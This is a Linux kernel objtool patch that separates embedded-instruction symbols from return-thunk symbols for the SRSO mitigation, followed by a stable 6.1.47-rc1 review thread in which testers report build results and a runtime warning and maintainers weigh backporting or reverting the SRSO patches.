From 4ae68b26c3ab5a82aa271e6e9fc9b1a06e1d6b40 Mon Sep 17 00:00:00 2001
From: Peter Zijlstra <[email protected]>
Date: Mon, 14 Aug 2023 13:44:29 +0200
Subject: objtool/x86: Fix SRSO mess
From: Peter Zijlstra <[email protected]>
commit 4ae68b26c3ab5a82aa271e6e9fc9b1a06e1d6b40 upstream.
Objtool --rethunk does two things:
- it collects all (tail) call's of __x86_return_thunk and places them into .return_sites. These are typically compiler generated, but RET also emits this same.
- it fudges the validation of the __x86_return_thunk symbol; because this symbol is inside another instruction, it can't actually find the instruction pointed to by the symbol offset and gets upset.
Because these two things pertained to the same symbol, there was no pressing need to separate these two separate things.
However, alas, along comes SRSO and more crazy things to deal with appeared.
The SRSO patch itself added the following symbol names to identify as rethunk:
'srso_untrain_ret', 'srso_safe_ret' and '__ret'
Where '__ret' is the old retbleed return thunk, 'srso_safe_ret' is a new similarly embedded return thunk, and 'srso_untrain_ret' is completely unrelated to anything the above does (and was only included because of that INT3 vs UD2 issue fixed previous).
Clear things up by adding a second category for the embedded instruction thing.
--- tools/objtool/arch/x86/decode.c | 11 +++++++---- tools/objtool/check.c | 24 ++++++++++++++++++++++-- tools/objtool/include/objtool/arch.h | 1 + tools/objtool/include/objtool/elf.h | 1 + 4 files changed, 31 insertions(+), 6 deletions(-)
tools/objtool/arch/x86/decode.c +7 -4
@@ -796,8 +796,11 @@ bool arch_is_retpoline(struct symbol *sybool arch_is_rethunk (struct symbol *sym) { -return !strcmp (sym->name,"__x86_return_thunk" ) || - !strcmp (sym->name,"srso_untrain_ret" ) || - !strcmp (sym->name,"srso_safe_ret" ) || - !strcmp (sym->name,"retbleed_return_thunk" ); +return !strcmp (sym->name,"__x86_return_thunk" ); +} + +bool arch_is_embedded_insn (struct symbol *sym) +{ +return !strcmp (sym->name,"retbleed_return_thunk" ) || + !strcmp (sym->name,"srso_safe_ret" ); }
tools/objtool/check.c +22 -2
@@ -418,7 +418,7 @@ static int decode_instructions(struct ob }list_for_each_entry (func, &sec->symbol_list, list) { -if (func->type !=STT_FUNC || func->alias != func) +if (func->embedded_insn || func->alias != func)continue ;if (!find_insn (file, sec, func->offset)) {
@@ -1164,16 +1164,33 @@ static int add_ignore_alternatives(strucreturn 0 ; } +/* +* Symbols that replace INSN_CALL_DYNAMIC, every (tail) call to such a symbol +* will be added to the .retpoline_sites section. +*/ __weak bool arch_is_retpoline (struct symbol *sym) {return false; } +/* +* Symbols that replace INSN_RETURN, every (tail) call to such a symbol +* will be added to the .return_sites section. +*/ __weak bool arch_is_rethunk (struct symbol *sym) {return false; } +/* +* Symbols that are embedded inside other instructions, because sometimes crazy +* code exists. These are mostly ignored for validation purposes. +*/ +__weak bool arch_is_embedded_insn (struct symbol *sym) +{ +return false; +} +#define NEGATIVE_RELOC ((void *)-1L)static struct reloc *insn_reloc (struct objtool_file *file,struct instruction *insn)
@@ -1437,7 +1454,7 @@ static int add_jump_destinations(struct* middle of another instruction. Objtool only * knows about the outer instruction. */ -if (sym && sym->return_thunk) { +if (sym && sym->embedded_insn) {add_return_call (file, insn, false);continue ; }
@@ -2327,6 +2344,9 @@ static int classify_symbols(struct objtoif (arch_is_rethunk (func)) func->return_thunk = true; +if (arch_is_embedded_insn (func)) + func->embedded_insn = true; +if (!strcmp (func->name,"__fentry__" )) func->fentry = true;
tools/objtool/include/objtool/arch.h +1 -0
@@ -90,6 +90,7 @@ int arch_decode_hint_reg(u8 sp_reg, intbool arch_is_retpoline (struct symbol *sym);bool arch_is_rethunk (struct symbol *sym); +bool arch_is_embedded_insn (struct symbol *sym);int arch_rewrite_retpolines (struct objtool_file *file);
tools/objtool/include/objtool/elf.h +1 -0
@@ -60,6 +60,7 @@ struct symbol { u8 return_thunk : 1; u8 fentry : 1; u8 profiling_func : 1; + u8 embedded_insn : 1;struct list_head pv_target; };
Hello,
Quoted 5 lines · On Mon, 21 Aug 2023 21:39:39 +0200 Greg Kroah-Hartman…
This is the start of the stable review cycle for the 6.1.47 release. There are 194 patches in this series, all will be posted as a response to this one. If anyone has any issues with these being applied, please let me know.
Quoted 8 lines
Responses should be made by Wed, 23 Aug 2023 19:40:45 +0000. Anything received after that time might be too late.
The whole patch series can be found in one patch at:
https://www.kernel.org/pub/linux/kernel/v6.x/stable-review/patch-6.1.47-rc1.gzor in the git tree and branch at:
git://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable-rc.gitlinux-6.1.y
and the diffstat can be found below.
# TODO: Cc [email protected]
This rc kernel passes DAMON functionality test[1] on my test machine. Attaching the test results summary below. Please note that I retrieved the kernel from linux-stable-rc tree[2].
[1] https://github.com/awslabs/damon-tests/tree/next/corr
[2] 5165f4e9738c ("Linux 6.1.47-rc1")
Thanks,
SJ
[...]
---
# .config:1408:warning: override: reassigning to symbol CGROUPS ok 15 selftests: damon-tests: build_nomemcg.sh
# kselftest dir '/home/sjpark/damon-tests-cont/linux/tools/testing/selftests/damon-tests' is in dirty state. # the log is at '/home/sjpark/log'. [32m ok 1 selftests: damon: debugfs_attrs.sh ok 2 selftests: damon: debugfs_schemes.sh ok 3 selftests: damon: debugfs_target_ids.sh ok 4 selftests: damon: debugfs_empty_targets.sh ok 5 selftests: damon: debugfs_huge_count_read_write.sh ok 6 selftests: damon: debugfs_duplicate_context_creation.sh ok 7 selftests: damon: sysfs.sh ok 1 selftests: damon-tests: kunit.sh ok 2 selftests: damon-tests: huge_count_read_write.sh ok 3 selftests: damon-tests: buffer_overflow.sh ok 4 selftests: damon-tests: rm_contexts.sh ok 5 selftests: damon-tests: record_null_deref.sh ok 6 selftests: damon-tests: dbgfs_target_ids_read_before_terminate_race.sh ok 7 selftests: damon-tests: dbgfs_target_ids_pid_leak.sh ok 8 selftests: damon-tests: damo_tests.sh ok 9 selftests: damon-tests: masim-record.sh ok 10 selftests: damon-tests: build_i386.sh ok 11 selftests: damon-tests: build_m68k.sh ok 12 selftests: damon-tests: build_arm64.sh ok 13 selftests: damon-tests: build_i386_idle_flag.sh ok 14 selftests: damon-tests: build_i386_highpte.sh ok 15 selftests: damon-tests: build_nomemcg.sh [33m [92mPASS [39m _remote_run_corr.sh SUCCESS
Quoted 9 lines · Greg Kroah-Hartman
This is the start of the stable review cycle for the 6.1.47 release. There are 194 patches in this series, all will be posted as a response to this one. If anyone has any issues with these being applied, please let me know.
Responses should be made by Wed, 23 Aug 2023 19:40:45 +0000. Anything received after that time might be too late.
The whole patch series can be found in one patch at:
Quoted 9 lines
https://www.kernel.org/pub/linux/kernel/v6.x/stable-review/patch-6.1.47-rc1.gzor in the git tree and branch at:
git://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable-rc.gitlinux-6.1.y
and the diffstat can be found below.thanks,
greg k-h
Compiled and booted on my test system. No dmesg regressions.
thanks,
-- Shuah
Quoted 9 lines · Greg Kroah-Hartman
This is the start of the stable review cycle for the 6.1.47 release. There are 194 patches in this series, all will be posted as a response to this one. If anyone has any issues with these being applied, please let me know.
Responses should be made by Wed, 23 Aug 2023 19:40:45 +0000. Anything received after that time might be too late.
The whole patch series can be found in one patch at:
Quoted 8 lines
https://www.kernel.org/pub/linux/kernel/v6.x/stable-review/patch-6.1.47-rc1.gzor in the git tree and branch at:
git://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable-rc.gitlinux-6.1.y
and the diffstat can be found below.thanks,
greg k-h
On ARCH_BRCMSTB using 32-bit and 64-bit ARM kernels, build tested on BMIPS_GENERIC:
Signature · 1 line
Florian
Quoted 9 lines · Greg Kroah-Hartman
This is the start of the stable review cycle for the 6.1.47 release. There are 194 patches in this series, all will be posted as a response to this one. If anyone has any issues with these being applied, please let me know.
Responses should be made by Wed, 23 Aug 2023 19:40:45 +0000. Anything received after that time might be too late.
The whole patch series can be found in one patch at:
Quoted 8 lines
https://www.kernel.org/pub/linux/kernel/v6.x/stable-review/patch-6.1.47-rc1.gzor in the git tree and branch at:
git://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable-rc.gitlinux-6.1.y
and the diffstat can be found below.thanks,
greg k-h
Built and booted successfully on RISC-V RV64 (HiFive Unmatched).
Quoted 8 lines · Greg Kroah-Hartman
This is the start of the stable review cycle for the 6.1.47 release. There are 194 patches in this series, all will be posted as a response to this one. If anyone has any issues with these being applied, please let me know.
Responses should be made by Wed, 23 Aug 2023 19:40:45 +0000. Anything received after that time might be too late.
Build results:
total: 157 pass: 156 fail: 1 Failed builds: m68k:sun3_defconfig Qemu test results: total: 521 pass: 519 fail: 2 Failed tests: arm:fuji-bmc:aspeed_g5_defconfig:notests:mem1G:mtd128,0,8,1:net,nic:aspeed-bmc-facebook-fuji:f2fs arm:bletchley-bmc,fmc-model=mt25qu02g,spi-model=mt25qu02g:aspeed_g5_defconfig:notests:mem1G:mtd256:net,nic:aspeed-bmc-facebook-bletchley:f2fs
The m68k build failure is
Inconsistent kallsyms data
Try make KALLSYMS_EXTRA_PASS=1 as a workaround
I already have KALLSYMS_EXTRA_PASS=1 enabled, so that doesn't help. Nothing to worry about. The f2fs crashes are still seen. They also happen for other architectures, so it is not just an arm problem. I'll probably just disable all f2fs testing going forward. If so I'll send a note clarifying that the lack of reported test failures doesn't mean that it works.
For x86 I get the same runtime warning as everyone else.
Guenter
Greg Kroah-Hartman
maintainerQuoted 25 lines · Guenter Roeck
Quoted 8 lines · Greg Kroah-Hartman
This is the start of the stable review cycle for the 6.1.47 release. There are 194 patches in this series, all will be posted as a response to this one. If anyone has any issues with these being applied, please let me know.
Responses should be made by Wed, 23 Aug 2023 19:40:45 +0000. Anything received after that time might be too late.
Build results:
total: 157 pass: 156 fail: 1 Failed builds: m68k:sun3_defconfig Qemu test results: total: 521 pass: 519 fail: 2 Failed tests: arm:fuji-bmc:aspeed_g5_defconfig:notests:mem1G:mtd128,0,8,1:net,nic:aspeed-bmc-facebook-fuji:f2fs arm:bletchley-bmc,fmc-model=mt25qu02g,spi-model=mt25qu02g:aspeed_g5_defconfig:notests:mem1G:mtd256:net,nic:aspeed-bmc-facebook-bletchley:f2fsThe m68k build failure is
Inconsistent kallsyms data
Try make KALLSYMS_EXTRA_PASS=1 as a workaround
Quoted 6 lines
I already have KALLSYMS_EXTRA_PASS=1 enabled, so that doesn't help. Nothing to worry about. The f2fs crashes are still seen. They also happen for other architectures, so it is not just an arm problem. I'll probably just disable all f2fs testing going forward. If so I'll send a note clarifying that the lack of reported test failures doesn't mean that it works.
I'll look into this later this week, next week to resolve the f2fs stuff. I wanted to get to the other known bug fixes first.
Quoted 1 line
For x86 I get the same runtime warning as everyone else.
Yeah, this is troubling...
Is it clang only? I'll dig into this today...
thanks,
greg k-h
Quoted 34 lines · Greg Kroah-Hartman
Quoted 25 lines · Guenter Roeck
Quoted 8 lines · Greg Kroah-Hartman
This is the start of the stable review cycle for the 6.1.47 release. There are 194 patches in this series, all will be posted as a response to this one. If anyone has any issues with these being applied, please let me know.
Responses should be made by Wed, 23 Aug 2023 19:40:45 +0000. Anything received after that time might be too late.
Build results:
total: 157 pass: 156 fail: 1 Failed builds: m68k:sun3_defconfig Qemu test results: total: 521 pass: 519 fail: 2 Failed tests: arm:fuji-bmc:aspeed_g5_defconfig:notests:mem1G:mtd128,0,8,1:net,nic:aspeed-bmc-facebook-fuji:f2fs arm:bletchley-bmc,fmc-model=mt25qu02g,spi-model=mt25qu02g:aspeed_g5_defconfig:notests:mem1G:mtd256:net,nic:aspeed-bmc-facebook-bletchley:f2fsThe m68k build failure is
Inconsistent kallsyms data
Try make KALLSYMS_EXTRA_PASS=1 as a workaroundQuoted 6 lines
I already have KALLSYMS_EXTRA_PASS=1 enabled, so that doesn't help. Nothing to worry about. The f2fs crashes are still seen. They also happen for other architectures, so it is not just an arm problem. I'll probably just disable all f2fs testing going forward. If so I'll send a note clarifying that the lack of reported test failures doesn't mean that it works.
Quoted 8 lines
I'll look into this later this week, next week to resolve the f2fs stuff. I wanted to get to the other known bug fixes first.
Quoted 1 line
For x86 I get the same runtime warning as everyone else.
Yeah, this is troubling...
Is it clang only? I'll dig into this today...
It is seen with gcc-13 and clang-17 with few extra configs. We are not booting defconfig.
The Kconfigs are enabled with KFENCE.
I see this from lore
"
This is from overnight testing that hit this only in the KCSAN runs. The KASAN and non-debug runs had no trouble.
Thanx, Paul
"
steps to reproduce:
-------------------
tuxmake --runtime podman --target-arch x86_64 --toolchain gcc-13
--kconfig https://storage.tuxsuite.com/public/linaro/lkft/builds/2UJAv99Wwi6YMltFjlQD5XRO5x4/config
Here is the links to details and build details,
[1]
https://qa-reports.linaro.org/lkft/linux-stable-rc-linux-6.1.y/build/v6.1.46-195-g5165f4e9738c/testrun/19256276/suite/log-parser-boot/test/check-kernel-exception/details/
[2]
https://storage.tuxsuite.com/public/linaro/lkft/builds/2UJAv99Wwi6YMltFjlQD5XRO5x4/
[3]
https://storage.tuxsuite.com/public/linaro/lkft/builds/2UJAv99Wwi6YMltFjlQD5XRO5x4/config
- Naresh
Quoted 4 lines
thanks,
greg k-h
Greg Kroah-Hartman
maintainerQuoted 50 lines · Naresh Kamboju
Quoted 34 lines · Greg Kroah-Hartman
Quoted 25 lines · Guenter Roeck
Quoted 8 lines · Greg Kroah-Hartman
This is the start of the stable review cycle for the 6.1.47 release. There are 194 patches in this series, all will be posted as a response to this one. If anyone has any issues with these being applied, please let me know.
Responses should be made by Wed, 23 Aug 2023 19:40:45 +0000. Anything received after that time might be too late.
Build results:
total: 157 pass: 156 fail: 1 Failed builds: m68k:sun3_defconfig Qemu test results: total: 521 pass: 519 fail: 2 Failed tests: arm:fuji-bmc:aspeed_g5_defconfig:notests:mem1G:mtd128,0,8,1:net,nic:aspeed-bmc-facebook-fuji:f2fs arm:bletchley-bmc,fmc-model=mt25qu02g,spi-model=mt25qu02g:aspeed_g5_defconfig:notests:mem1G:mtd256:net,nic:aspeed-bmc-facebook-bletchley:f2fsThe m68k build failure is
Inconsistent kallsyms data
Try make KALLSYMS_EXTRA_PASS=1 as a workaroundQuoted 6 lines
I already have KALLSYMS_EXTRA_PASS=1 enabled, so that doesn't help. Nothing to worry about. The f2fs crashes are still seen. They also happen for other architectures, so it is not just an arm problem. I'll probably just disable all f2fs testing going forward. If so I'll send a note clarifying that the lack of reported test failures doesn't mean that it works.
Quoted 8 lines
I'll look into this later this week, next week to resolve the f2fs stuff. I wanted to get to the other known bug fixes first.
Quoted 1 line
For x86 I get the same runtime warning as everyone else.
Yeah, this is troubling...
Is it clang only? I'll dig into this today...
It is seen with gcc-13 and clang-17 with few extra configs. We are not booting defconfig.
The Kconfigs are enabled with KFENCE.
Quoted 8 lines
I see this from lore
"
This is from overnight testing that hit this only in the KCSAN runs. The KASAN and non-debug runs had no trouble.Thanx, Paul
"
Ok, that's good, it's not going to hit "normal" users... :)
Quoted 11 lines
steps to reproduce:
-------------------
tuxmake --runtime podman --target-archx86_64--toolchain gcc-13
--kconfig https://storage.tuxsuite.com/public/linaro/lkft/builds/2UJAv99Wwi6YMltFjlQD5XRO5x4/configHere is the links to details and build details,
[1]
https://qa-reports.linaro.org/lkft/linux-stable-rc-linux-6.1.y/build/v6.1.46-195-g5165f4e9738c/testrun/19256276/suite/log-parser-boot/test/check-kernel-exception/details/
Quoted 5 lines
[2]
https://storage.tuxsuite.com/public/linaro/lkft/builds/2UJAv99Wwi6YMltFjlQD5XRO5x4/[3]
https://storage.tuxsuite.com/public/linaro/lkft/builds/2UJAv99Wwi6YMltFjlQD5XRO5x4/config
You are going to force me to use tuxmake again, aren't you...
I'll dig into this after lunch.
greg k-h
Quoted 41 lines · Naresh Kamboju
Quoted 39 lines · Greg Kroah-Hartman
Quoted 25 lines · Guenter Roeck
Quoted 8 lines · Greg Kroah-Hartman
This is the start of the stable review cycle for the 6.1.47 release. There are 194 patches in this series, all will be posted as a response to this one. If anyone has any issues with these being applied, please let me know.
Responses should be made by Wed, 23 Aug 2023 19:40:45 +0000. Anything received after that time might be too late.
Build results:
total: 157 pass: 156 fail: 1 Failed builds: m68k:sun3_defconfig Qemu test results: total: 521 pass: 519 fail: 2 Failed tests: arm:fuji-bmc:aspeed_g5_defconfig:notests:mem1G:mtd128,0,8,1:net,nic:aspeed-bmc-facebook-fuji:f2fs arm:bletchley-bmc,fmc-model=mt25qu02g,spi-model=mt25qu02g:aspeed_g5_defconfig:notests:mem1G:mtd256:net,nic:aspeed-bmc-facebook-bletchley:f2fsThe m68k build failure is
Inconsistent kallsyms data
Try make KALLSYMS_EXTRA_PASS=1 as a workaroundQuoted 6 lines
I already have KALLSYMS_EXTRA_PASS=1 enabled, so that doesn't help. Nothing to worry about. The f2fs crashes are still seen. They also happen for other architectures, so it is not just an arm problem. I'll probably just disable all f2fs testing going forward. If so I'll send a note clarifying that the lack of reported test failures doesn't mean that it works.
I'll look into this later this week, next week to resolve the f2fs stuff. I wanted to get to the other known bug fixes first.
Quoted 1 line
For x86 I get the same runtime warning as everyone else.
Quoted 9 lines
Quoted 3 lines
Yeah, this is troubling...
Is it clang only? I'll dig into this today...
It is seen with gcc-13 and clang-17 with few extra configs. We are not booting defconfig.
The Kconfigs are enabled with KFENCE.
I have KFENCE enabled as well, so it may well be that this triggers the warning. I don't see it in 6.4.y or upstream, though.
Guenter
Greg Kroah-Hartman
maintainerQuoted 46 lines · Guenter Roeck
Quoted 45 lines · Naresh Kamboju
Quoted 42 lines · Greg Kroah-Hartman
Quoted 25 lines · Guenter Roeck
Quoted 8 lines · Greg Kroah-Hartman
This is the start of the stable review cycle for the 6.1.47 release. There are 194 patches in this series, all will be posted as a response to this one. If anyone has any issues with these being applied, please let me know.
Responses should be made by Wed, 23 Aug 2023 19:40:45 +0000. Anything received after that time might be too late.
Build results:
total: 157 pass: 156 fail: 1 Failed builds: m68k:sun3_defconfig Qemu test results: total: 521 pass: 519 fail: 2 Failed tests: arm:fuji-bmc:aspeed_g5_defconfig:notests:mem1G:mtd128,0,8,1:net,nic:aspeed-bmc-facebook-fuji:f2fs arm:bletchley-bmc,fmc-model=mt25qu02g,spi-model=mt25qu02g:aspeed_g5_defconfig:notests:mem1G:mtd256:net,nic:aspeed-bmc-facebook-bletchley:f2fsThe m68k build failure is
Inconsistent kallsyms data
Try make KALLSYMS_EXTRA_PASS=1 as a workaroundQuoted 6 lines
I already have KALLSYMS_EXTRA_PASS=1 enabled, so that doesn't help. Nothing to worry about. The f2fs crashes are still seen. They also happen for other architectures, so it is not just an arm problem. I'll probably just disable all f2fs testing going forward. If so I'll send a note clarifying that the lack of reported test failures doesn't mean that it works.
I'll look into this later this week, next week to resolve the f2fs stuff. I wanted to get to the other known bug fixes first.
Quoted 1 line
For x86 I get the same runtime warning as everyone else.
Yeah, this is troubling...
Is it clang only? I'll dig into this today...
Quoted 7 lines
Quoted 5 lines
It is seen with gcc-13 and clang-17 with few extra configs. We are not booting defconfig.
The Kconfigs are enabled with KFENCE.
I have KFENCE enabled as well, so it may well be that this triggers the warning. I don't see it in 6.4.y or upstream, though.
Ok, let me rip out all the x86 and objtool patches from this release, get it out the door with the good things in there that everyone else needs, and then we can focus on this mess...
Maybe I'll just backport _all_ objtool changes to sync things up better, last time I tried that it was a maze of twisty passages, all coated in assembly...
thanks,
greg k-h
Greg Kroah-Hartman
maintainerQuoted 55 lines · Greg Kroah-Hartman
Quoted 46 lines · Guenter Roeck
Quoted 45 lines · Naresh Kamboju
Quoted 42 lines · Greg Kroah-Hartman
Quoted 25 lines · Guenter Roeck
Quoted 8 lines · Greg Kroah-Hartman
This is the start of the stable review cycle for the 6.1.47 release. There are 194 patches in this series, all will be posted as a response to this one. If anyone has any issues with these being applied, please let me know.
Responses should be made by Wed, 23 Aug 2023 19:40:45 +0000. Anything received after that time might be too late.
Build results:
total: 157 pass: 156 fail: 1 Failed builds: m68k:sun3_defconfig Qemu test results: total: 521 pass: 519 fail: 2 Failed tests: arm:fuji-bmc:aspeed_g5_defconfig:notests:mem1G:mtd128,0,8,1:net,nic:aspeed-bmc-facebook-fuji:f2fs arm:bletchley-bmc,fmc-model=mt25qu02g,spi-model=mt25qu02g:aspeed_g5_defconfig:notests:mem1G:mtd256:net,nic:aspeed-bmc-facebook-bletchley:f2fsThe m68k build failure is
Inconsistent kallsyms data
Try make KALLSYMS_EXTRA_PASS=1 as a workaroundQuoted 6 lines
I already have KALLSYMS_EXTRA_PASS=1 enabled, so that doesn't help. Nothing to worry about. The f2fs crashes are still seen. They also happen for other architectures, so it is not just an arm problem. I'll probably just disable all f2fs testing going forward. If so I'll send a note clarifying that the lack of reported test failures doesn't mean that it works.
I'll look into this later this week, next week to resolve the f2fs stuff. I wanted to get to the other known bug fixes first.
Quoted 1 line
For x86 I get the same runtime warning as everyone else.
Yeah, this is troubling...
Is it clang only? I'll dig into this today...
Quoted 7 lines
Quoted 5 lines
It is seen with gcc-13 and clang-17 with few extra configs. We are not booting defconfig.
The Kconfigs are enabled with KFENCE.
I have KFENCE enabled as well, so it may well be that this triggers the warning. I don't see it in 6.4.y or upstream, though.
Quoted 7 lines
Ok, let me rip out all the x86 and objtool patches from this release, get it out the door with the good things in there that everyone else needs, and then we can focus on this mess...
Maybe I'll just backport _all_ objtool changes to sync things up better, last time I tried that it was a maze of twisty passages, all coated in assembly...
I got lost in the maze again today, ick.
Anyway, I give up. I'm just going to push out a -rc1 with just these changes in it today, and if people are upset about the runtime warning, then they can provide a working backport of this objtool patch.
Ideally, the CPU vendor who is causing this mess will do that, as it's their issue we are spending all of this time on, not Linux's issue.
Also, oddly, I can not reproduce this problem here on my hardware at all. Maybe because it's an AMD processor? If so, makes sense, as the SRSO issue is only for Intel chips.
thanks,
greg k-h
Quoted 64 lines · Greg Kroah-Hartman
Quoted 55 lines · Greg Kroah-Hartman
Quoted 46 lines · Guenter Roeck
Quoted 45 lines · Naresh Kamboju
Quoted 42 lines · Greg Kroah-Hartman
Quoted 25 lines · Guenter Roeck
Quoted 8 lines · Greg Kroah-Hartman
This is the start of the stable review cycle for the 6.1.47 release. There are 194 patches in this series, all will be posted as a response to this one. If anyone has any issues with these being applied, please let me know.
Responses should be made by Wed, 23 Aug 2023 19:40:45 +0000. Anything received after that time might be too late.
Build results:
total: 157 pass: 156 fail: 1 Failed builds: m68k:sun3_defconfig Qemu test results: total: 521 pass: 519 fail: 2 Failed tests: arm:fuji-bmc:aspeed_g5_defconfig:notests:mem1G:mtd128,0,8,1:net,nic:aspeed-bmc-facebook-fuji:f2fs arm:bletchley-bmc,fmc-model=mt25qu02g,spi-model=mt25qu02g:aspeed_g5_defconfig:notests:mem1G:mtd256:net,nic:aspeed-bmc-facebook-bletchley:f2fsThe m68k build failure is
Inconsistent kallsyms data
Try make KALLSYMS_EXTRA_PASS=1 as a workaroundQuoted 6 lines
I already have KALLSYMS_EXTRA_PASS=1 enabled, so that doesn't help. Nothing to worry about. The f2fs crashes are still seen. They also happen for other architectures, so it is not just an arm problem. I'll probably just disable all f2fs testing going forward. If so I'll send a note clarifying that the lack of reported test failures doesn't mean that it works.
I'll look into this later this week, next week to resolve the f2fs stuff. I wanted to get to the other known bug fixes first.
Quoted 1 line
For x86 I get the same runtime warning as everyone else.
Yeah, this is troubling...
Is it clang only? I'll dig into this today...
Quoted 7 lines
Quoted 5 lines
It is seen with gcc-13 and clang-17 with few extra configs. We are not booting defconfig.
The Kconfigs are enabled with KFENCE.
I have KFENCE enabled as well, so it may well be that this triggers the warning. I don't see it in 6.4.y or upstream, though.
Quoted 7 lines
Ok, let me rip out all the x86 and objtool patches from this release, get it out the door with the good things in there that everyone else needs, and then we can focus on this mess...
Maybe I'll just backport _all_ objtool changes to sync things up better, last time I tried that it was a maze of twisty passages, all coated in assembly...
Quoted 6 lines
I got lost in the maze again today, ick.
Anyway, I give up. I'm just going to push out a -rc1 with just these changes in it today, and if people are upset about the runtime warning, then they can provide a working backport of this objtool patch.
Or maybe just revert all srso patches.
Quoted 7 lines
Ideally, the CPU vendor who is causing this mess will do that, as it's their issue we are spending all of this time on, not Linux's issue.
Also, oddly, I can not reproduce this problem here on my hardware at all. Maybe because it's an AMD processor? If so, makes sense, as the SRSO issue is only for Intel chips.
Apparently I am lost in the maze as well. I am quite sure that SRSO only applies to AMD CPUs, and
arch/x86/Kconfig:config CPU_SRSOarch/x86/Kconfig: Enable the SRSO mitigation needed on AMD Zen1-4 machines.
seems to confirm that. What am I missing ? Do you mean the warning that was supposed to be fixed with the objtool patch(es) is only seen on Intel chips ?
Thanks,
Guenter
Greg Kroah-Hartman
maintainerQuoted 65 lines · Guenter Roeck
Quoted 64 lines · Greg Kroah-Hartman
Quoted 62 lines · Greg Kroah-Hartman
Quoted 46 lines · Guenter Roeck
Quoted 45 lines · Naresh Kamboju
Quoted 42 lines · Greg Kroah-Hartman
Quoted 25 lines · Guenter Roeck
Quoted 8 lines · Greg Kroah-Hartman
This is the start of the stable review cycle for the 6.1.47 release. There are 194 patches in this series, all will be posted as a response to this one. If anyone has any issues with these being applied, please let me know.
Responses should be made by Wed, 23 Aug 2023 19:40:45 +0000. Anything received after that time might be too late.
Build results:
total: 157 pass: 156 fail: 1 Failed builds: m68k:sun3_defconfig Qemu test results: total: 521 pass: 519 fail: 2 Failed tests: arm:fuji-bmc:aspeed_g5_defconfig:notests:mem1G:mtd128,0,8,1:net,nic:aspeed-bmc-facebook-fuji:f2fs arm:bletchley-bmc,fmc-model=mt25qu02g,spi-model=mt25qu02g:aspeed_g5_defconfig:notests:mem1G:mtd256:net,nic:aspeed-bmc-facebook-bletchley:f2fsThe m68k build failure is
Inconsistent kallsyms data
Try make KALLSYMS_EXTRA_PASS=1 as a workaroundQuoted 6 lines
I already have KALLSYMS_EXTRA_PASS=1 enabled, so that doesn't help. Nothing to worry about. The f2fs crashes are still seen. They also happen for other architectures, so it is not just an arm problem. I'll probably just disable all f2fs testing going forward. If so I'll send a note clarifying that the lack of reported test failures doesn't mean that it works.
I'll look into this later this week, next week to resolve the f2fs stuff. I wanted to get to the other known bug fixes first.
Quoted 1 line
For x86 I get the same runtime warning as everyone else.
Yeah, this is troubling...
Is it clang only? I'll dig into this today...
Quoted 7 lines
Quoted 5 lines
It is seen with gcc-13 and clang-17 with few extra configs. We are not booting defconfig.
The Kconfigs are enabled with KFENCE.
I have KFENCE enabled as well, so it may well be that this triggers the warning. I don't see it in 6.4.y or upstream, though.
Ok, let me rip out all the x86 and objtool patches from this release, get it out the door with the good things in there that everyone else needs, and then we can focus on this mess...
Maybe I'll just backport _all_ objtool changes to sync things up better, last time I tried that it was a maze of twisty passages, all coated in assembly...
Quoted 8 lines
Quoted 6 lines
I got lost in the maze again today, ick.
Anyway, I give up. I'm just going to push out a -rc1 with just these changes in it today, and if people are upset about the runtime warning, then they can provide a working backport of this objtool patch.
Or maybe just revert all srso patches.
Hah, I wish.
{sigh}
I've notified the patch authors about this, hopefully they can come up with something.
Quoted 11 lines
Quoted 7 lines
Ideally, the CPU vendor who is causing this mess will do that, as it's their issue we are spending all of this time on, not Linux's issue.
Also, oddly, I can not reproduce this problem here on my hardware at all. Maybe because it's an AMD processor? If so, makes sense, as the SRSO issue is only for Intel chips.
Apparently I am lost in the maze as well. I am quite sure that SRSO only applies to AMD CPUs, and
Quoted 6 lines
arch/x86/Kconfig:config
CPU_SRSOarch/x86/Kconfig: Enable the SRSO mitigation needed on AMD Zen1-4 machines.seems to confirm that. What am I missing ? Do you mean the warning that was supposed to be fixed with the objtool patch(es) is only seen on Intel chips ?
Ah, sorry, my confusion (too many different cpu bugs lately)
This might be an issue on AMD chips, but for some reason, in running this kernel on my systems here, I have no boot warnings at all. I blamed it on them being only AMD chips. If that's not the issue then I really have no idea, sorry.
thanks,
greg k-h
On Thu, Aug 24, 2023 at 05:15:30PM +0200, Greg Kroah-Hartman wrote:
[ ... ]
Quoted 6 lines
This might be an issue on AMD chips, but for some reason, in running this kernel on my systems here, I have no boot warnings at all. I blamed it on them being only AMD chips. If that's not the issue then I really have no idea, sorry.
AFAIK it depends on the compiler used and on the enabled debug options. At some point I lost track about what exactly has to be enabled to see the problem. We see it a lot with our (ChromeOS) debug kernel testing which has various debug options enabled, to the point where we may temporarily remove the warning from the kernel to stop the noise.
Alternatively, as I had suggested earlier, we could revert all srso patches because they only seem to cause trouble. So far I have been resisting that because I am concerned that it would make things even worse (like one can not really revert a heart surgery without doing even more damage).
Guenter
Greg Kroah-Hartman
maintainerQuoted 15 lines · Guenter Roeck
On Thu, Aug 24, 2023 at 05:15:30PM +0200, Greg Kroah-Hartman wrote:
[ ... ]Quoted 6 lines
This might be an issue on AMD chips, but for some reason, in running this kernel on my systems here, I have no boot warnings at all. I blamed it on them being only AMD chips. If that's not the issue then I really have no idea, sorry.
AFAIK it depends on the compiler used and on the enabled debug options. At some point I lost track about what exactly has to be enabled to see the problem. We see it a lot with our (ChromeOS) debug kernel testing which has various debug options enabled, to the point where we may temporarily remove the warning from the kernel to stop the noise.
Quoted 4 lines
Alternatively, as I had suggested earlier, we could revert all srso patches because they only seem to cause trouble. So far I have been resisting that because I am concerned that it would make things even worse (like one can not really revert a heart surgery without doing even more damage).
If you don't want the feature, you can disable it at build time (I think), and I know you can disable it at runtime. But there are groups out that that "need" this, to solve a known security hole in some cpus, so it is required for them. To remove the code entirely would not be good for them, so I will say, if they are the ones that need this, they should help fix this warning, no one else should be seeing it :)
thanks,
greg k-h
Quoted 7 lines · Greg Kroah-Hartman
Quoted 2 lines
For x86 I get the same runtime warning as everyone else.
Yeah, this is troubling...
Is it clang only? I'll dig into this today...
No, I build with gcc. More specifically, gcc 11.4.0 and binutils 2.40.
Guenter
Hi Greg,
Quoted 7 lines · Greg Kroah-Hartman
